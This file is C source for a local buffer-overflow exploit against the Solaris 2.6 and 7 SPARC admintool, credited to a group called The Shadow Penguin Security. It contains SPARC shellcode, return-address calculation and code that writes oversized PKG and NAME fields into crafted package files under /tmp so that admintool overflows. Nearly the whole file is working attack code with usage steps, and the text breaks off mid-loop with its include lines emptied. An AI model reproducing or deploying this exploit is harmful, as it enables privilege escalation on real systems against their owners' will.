/*============================================================================= admintool Overflow Exploits( Solaris2.6 and 7 for Sparc Edition) The Shadow Penguin Security (http://base.oc.to:/skyscraper/byte/551) Written by UNYUN (unewn4th@usa.net) [usage] % setenv DISPLAY=yourdisplay:0.0 % gcc ex_admintool.c (This example program) % a.out ( [Browse] -> [Software] -> [Edit] -> [Add] -> [Harddisk] -> Directory: /tmp -> [Ok] ) # In /tmp/EXP directory, the temp files are made, please remove it. ============================================================================= */ #include #include #define ADJUST1 2 #define ADJUST2 1 #define BUFSIZE1 1000 #define BUFSIZE2 800 #define OFFSET 3600 #define OFFSET2 400 #define PKGDIR "mkdir /tmp/EXP" #define PKGINFO "/tmp/EXP/pkginfo" #define PKGMAP "/tmp/EXP/pkgmap" #define NOP 0xa61cc013 char exploit_code[] = "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68" "\x90\x0b\x80\x0e\x92\x03\xa0\x0c" "\x94\x10\x20\x10\x94\x22\xa0\x10" "\x9c\x03\xa0\x14" "\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc" "\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01" "\x91\xd0\x20\x08" ; unsigned long get_sp(void) { __asm__("mov %sp,%i0 \n"); } unsigned long ret_adr; static char x[500000]; FILE *fp; int i,vofs=0; struct utsname name; main() { uname(&name); if (strcmp(name.release,"5.7")==0) vofs=-904; system(PKGDIR); putenv("LANG="); if ((fp=fopen(PKGMAP,"wb"))==NULL) { printf("Can not write '%s'\n",PKGMAP); exit(1); } fclose(fp); if ((fp=fopen(PKGINFO,"wb"))==NULL) { printf("Can not write '%s'\n",PKGINFO); exit(1); } fprintf(fp,"PKG="); ret_adr=get_sp()-OFFSET+vofs; while ((ret_adr & 0xff000000) == 0 || (ret_adr & 0x00ff0000) == 0 || (ret_adr & 0x0000ff00) == 0 || (ret_adr & 0x000000ff) == 0) ret_adr += 4; printf("Jumping address = %lx\n",ret_adr); memset(x,'a',4); for (i = ADJUST1; i < 1000; i+=4) { x[i+3]=ret_adr & 0xff; x[i+2]=(ret_adr >>8 ) &0xff; x[i+1]=(ret_adr >> 16 ) &0xff; x[i+0]=(ret_adr >> 24 ) &0xff; } x[BUFSIZE1]=0; fputs(x,fp); fprintf(fp,"\n"); fprintf(fp,"NAME="); memset(x,'a',4); for (i = ADJUST2; i < BUFSIZE2; i+=4) { x[i+3]=NOP & 0xff; x[i+2]=(NOP >> 8 ) &0xff; x[i+1]=(NOP >> 16 ) &0xff; x[i+0]=(NOP >> 24 ) &0xff; } for (i=0; i